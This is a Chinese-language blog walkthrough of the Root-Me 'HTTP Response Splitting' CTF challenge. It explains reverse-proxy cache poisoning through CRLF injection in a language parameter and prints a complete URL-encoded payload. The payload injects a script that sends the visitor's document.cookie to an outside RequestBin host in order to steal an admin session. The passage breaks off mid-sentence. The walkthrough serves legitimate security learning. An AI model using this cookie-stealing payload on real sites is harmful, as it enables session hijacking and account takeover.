【Root-Me】 HTTP Response Splitting

CTF

原创

发布日期: 2019-03-26

更新日期: 2024-12-17

文章字数: 3.5k

阅读时长: 13 分

阅读次数:

来源：Root-Me
题型：Web-Client
题目：HTTP Response Splitting
分数：70 Points

吐槽

搞了 4 天，忍不住想喷死出题的，这题其实不是很难，就是题目的机制和 robot 的行为太恶心，而且这些行为还是隐藏的，要自己慢慢摸索。

摸索都算了，这其实很正常，关键是摸索规则出来之后，发现这些规则跟学习 HRS（HTTP Response Splitting）原理半毛线关系都没有，就是存心恶心人，让你就算做出了正确答案，也要靠运气才能蒙过去。

要比喻的就是，考试明明所有题都做对了，老师就是故意不理你，不告诉你考了多少分，还误导你可能没全做对，让你再想想是不是做错了哪里，本来你就是刚开始学的，因为基础不牢固，结果越想越怀疑自己，越想越跑偏，这不本末倒置么。

题目分析

喷完了就开始分析这题的解题思路。

首先关注题目描述有几个关键字：

HTTP Response Splitting ： HTTP 响应头切割（下面简称 HRS）
reverse proxy cache ：网站启用了反向代理缓存
administrator often logs in：管理员 robot 会经常登录站点
IPv4 only：现在虽然都 2019 年了但 IPv4 还没到淘汰地步，所以不用管，跟解题没什么关系

而我们要做的就是窃取管理员的 Cookie 登陆管理页面。

考察技能

这题主要考察关于 HRS 和 反向代理 的原理，是这题的解题关键，必须彻底弄懂。

可以参考这几篇文章，说得很清楚了，很有参考价值：

而有反向代理必定有正向代理，虽然正向代理与本题无关，但最好还是了解一下。

我找了一张图，很清楚了画出了反向代理和正向代理的区别：

简单来说，反向代理 是服务端搭建的，角色定位是防御，主要作用包括：隐藏服务端集群的具体机器、通过缓存加速客户端访问等，常见的反向代理如 Nginx。

而 正向代理 是客户端搭建的，角色定位是攻击，主要作用包括：隐藏客户端身份发起攻击、翻墙等，常见的正向代理如 Shadowsocks。

找到注入点

有了前面的基础知识，就可以开始解题了，首先要找到注入点。

整个挑战其实只有3个页面：

选择语言页面：http://challenge01.root-me.org:58002/user/lang
主页：http://challenge01.root-me.org:58002/home
管理页面：http://challenge01.root-me.org:58002/admin

有一点需要注意的是，开启挑战后，选择语言页面 只会出现一次，除非删除浏览器 cookie ，否则之后无论如何也不会再看见这个页面。

这就导致有些同学很容易就把这个页面忽略了，一直在主页和 管理页面 之间徘徊找注入点，浪费了大量时间而却只是无用功。

其实真正的注入点恰恰就在 选择语言页面 。

从页面源码可知，只有 lang=fr 和 lang=en 两种语言可供选择。

但是使用 Burp Suite -> Repeater 工具构造 payload，可以发现修改请求参数 lang=any_value 为任意值，都会在响应头的 Cookie-Set 中回显。

换言之这很可能就是注入点，而且从形式上看，应该就是 HRS 。

为了验证是不是 HRS ，不妨尝试注入 lang=exp%0D%0Ahrs （ %0D%0A 是 回车换行符 的 URL 编码，亦即 \r\n ，亦即 CRLF 。若不理解为什么要注入回车换行，先去学习下 HRS 的基本原理再继续往下阅读）

可以发现注入成功，这样就具备攻击条件了。

解题思路

不要忘记题目有个信息：站点启用了 反向代理缓存 。

换言之我们可以尝试使用 HRS + 反向代理 实现 缓存污染 。

总结而言，攻击分五步：

(1) 通过 CRLF 构造适当的 HRS 请求在服务器构造两个响应页面（构造细节可参考 Github : CRLF - Write HTML，下面也会详述），其中第一个响应页对应本次请求，第二个响应页则由于还没有请求，导致在服务器挂起（下面称之为 payload 页面）。
(2) 在发动第 (1) 步攻击后，马上向服务器请求 /admin 页面，由于此时 payload 页面处于挂起状态，根据 HTTP 协议的特性会将其马上返回给 /admin 请求。在这一瞬间，会同时利用了服务器反向代理的特点（通过缓存机制加速访问），即 /admin 请求与 payload 页面的映射关系会被自动绑定到了反向代理缓存。这样在缓存过期之前，无论谁发起 /admin 请求，都是从反向代理缓存获得 payload 页面，而不会从真正访问到 HTTP 服务器，亦即我们把缓存污染了。
(3) payload 页面是经过精心设计的，具备窃取当前访问用户的 Cookie 并发到 Hacker 服务器的功能。
(4) Hacker 等待 robot 管理员发起 /admin 页面请求，从而获得管理员 Cookie 。
(5) 在反向代理缓存过期后，Hacker 利用管理员 Cookie 向真正的 HTTP 服务器发起 /admin 页面请求，实现登录。

梳理好攻击步骤后，明显本题的 解题关键在于如何构造 payload 页面。

构造 payload 页面

首先需要知道，提交请求 http://challenge01.root-me.org:58002/user/param?lang=[注入点] 的响应是这样的：

HTTP/1.1 302 Found
Set-Cookie: lang=[注入点]; Expires=Thu, 28 Feb 2019 14:59:14 GMT; Path=/
Server: WorldCompanyWebServer
Connection: close
Location: /home
Date: Thu, 21 Feb 2019 14:59:14 GMT
Content-Type: text/html
Content-Length: 0

先不考虑 [注入点] 的 payload 怎么写，而是先看看我们最终期望的响应，应该是这样的：

[01] HTTP/1.1 302 Found
[02] ......
[03] {CRLF} Content- Length: 0
[04] {CRLF}
[05] {CRLF} HTTP/1.1 200 OK
[06] {CRLF} Content-Type: text/html
[07] {CRLF} X-XSS-Protection: 0
[08] {CRLF} Last-Modified: Thu, 01 Jan 2099 12:00:00 GMT
[09] {CRLF} Content-Length: 137
[10] {CRLF}
[11] {CRLF} <script>document.write("<h1>EXP</h1><img src=http://requestbin.fullcontact.com/148xfw11?".concat(document.cookie).concat(" />"))</script>

注：每行的行首都有一组 {CRLF} ，表示每行之间都有回车换行符号进行分隔

逐行解释：

[01] 和 [02] 是原本的响应内容，这部分的响应对我们没用，所以无需关心内容是什么
[03] 从这行开始就是注入内容，正因为我们不关心原本的第一个响应内容，所以用 Content- Length: 0 直接标记第一个响应结束（注意这里的每一个空格，不知为何很重要，少一个都不行）
[04] 是一个空行，这很重要，用于分隔第一个和第二个响应内容
[05] 这里开始就是我们要构造的第二个响应内容
[06] 必要的响应头之一，标明我们构造的响应页面内容类型
[07] 非必要的响应头，但是以防万一，用于关闭页面的 XSS 保护，使得我们可以注入 XSS 脚本
[08] 必要的响应头之一，要使得反向代理服务器的缓存在过期前可以被持续污染，就需要把 Last-Modified 设置为一个未来值，这样代理服务器就以为缓存没有更新过，从而对我们的 payload 页面进行保持，而不会向 HTTP 服务器获取新的缓存进行覆盖。
[09] 在 HTTP/1.1 版本之前是必要的响应头之一、这个版本之后则无关重要了。Content-Length 的值需要刚好就是 [11] 页面内容的长度（按ASCII字符计算，包括空字符），若过长会造成等待响应内容超时、过短会截断页面内容。
[10] 是一个空行，这很重要，用于分隔第二个响应的响应头和页面内容。
[11] 页面内容，这里我只构造了一个 JS 脚本，其功能是向预设的 RequestBin 服务器发送访问这个页面的用户的 Cookie ，这样当管理员浏览这个页面时，就会被窃取 Cookie 。

回到前面的 [注入点] ，根据我们期望的响应内容，将其转换成 URL 编码，因此在 [注入点] 的位置构造 payload 应该是这样的：

%0D%0AContent-%20Length%3A%200
%0D%0A
%0D%0AHTTP%2F1.1%20200%20OK
%0D%0AContent-Type%3A%20text%2Fhtml
%0D%0AX-XSS-Protection%3A%200
%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20
%0D%0AContent-Length%3A%20137
%0D%0A
%0D%0A%3cscript%3edocument.write(%22%3ch1%3eEXP%3c%2fh1%3e%3cimg%20src%3dhttp%3a%2f%2frequestbin.fullcontact.com%2f148xfw11%3f%22.concat(document.cookie).concat(%22%20%2f%3e%22))%3c%2fscript%3e

我们把每部分拼接起来，最终的 payload 请求 是这样的：

http://challenge01.root-me.org:58002/user/param?lang=fr%0D%0AContent-%20Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AX-XSS-Protection%3A%200%0D%0ALast-Modified%3A%20Thu%2C%2001%20Jan%202099%2012%3A00%3A00%20GMT%20%0D%0AContent-Length%3A%20137%0D%0A%0D%0A%3cscript%3edocument.write(%22%3ch1%3eEXP%3c%2fh1%3e%3cimg%20src%3dhttp%3a%2f%2frequestbin.fullcontact.com%2f148xfw11%3f%22.concat(document.cookie).concat(%22%20%2f%3e%22))%3c%2fscript%3e

现在尝试通过 Burp 把 payload 发送到服务器，看看效果如何：

发起攻击

既然拥有 payload 就可以发起攻击了，步骤其实很简单，前面也已经说过了：

(1) 提交前面的 payload 请求
(2) 马上访问 http://challenge01.root-me.org:58002/admin 页面，如果返回的是我们构造的 payload 响应页面，则污染缓存成功
(3) 登录 payload 响应页面中预设的 RequestBin 服务器等待管理员 Cookie

攻击过程的细节

事实上，攻击过程并没有我们想象中顺利，这是这题最恶心的地方，尤其是在不知道自己的 payload 是否正确的前提下，真的能调试到你怀疑人设。

总结一下，我遇到的细节问题有以下这些：

经测试无法使用 Burp 发起缓存污染攻击，原因不明。
只有 IE 或 Edge 浏览器可以用来执行这个挑战，且要求 IE 或 Edge 关闭所有安全选项。
发起 payload 请求后，服务器默认的第一个响应是一个 302 页面，跳转的 Location 是 /home 页面。由于其跳转速度非常快，导致我们尝试使用 /admin 请求绑定我们构造的第二个 payload 响应前，就很可能被 /home 请求抢先一步绑定了 payload 响应（换言之可供我们操作的时间可能还不到 1 秒）。
Robot 管理员只会扫描 /admin 页面，如果被 /home 抢先一步绑定了第二个 payload 响应，那么我们构造的 payload 就无法窃取管理员 Cookie 。亦即第一个响应的 302 跳转目的之一是拦截我们的污染缓存攻击。
Robot 管理员的行为不可预见，亦即它在访问 /admin 页面时，会不会读取图片、有没有启用 JS 脚本等都是未知的，我们需要逐个 html 标签进行注入调试。
由于这个挑战是运行在沙盒的，这个沙盒会对每个新的挑战 Cookie 分配一个 SessionId 。因此若某一次污染缓存失败或窃取 Cookie 失败，就需要重新领取一个新的 SessionId 进行调试。而在 Burp 无法使用的情况下，要获取新的 SessionId 只有一个方法，重置挑战环境参数：注销 rootme 的登陆，清除浏览器 Cookie 和缓存，然后重登 rootme 再重开挑战。
反向代理缓存的过期时间是 15 分钟，亦即在绑定 /admin 与 payload 响应失败后，要么等 15 分钟再试，要么重置挑战环境参数（这个是真的烦，繁琐的重置步骤能重置到吐血）。
由于这是一个沙盒，且 Robot 管理员是通过 SessionId 区分每个用户的挑战环境的，因此可以考虑通过代码并行操作来提高污染缓存的成功率。
Chrome 和 Firefox 浏览器因自身的安全机制，是无法某些渗透攻击的，包括这个挑战在内。因为这个挑战的 payload 会不断用到重定向，导致多试几次就会报错并拦截攻击：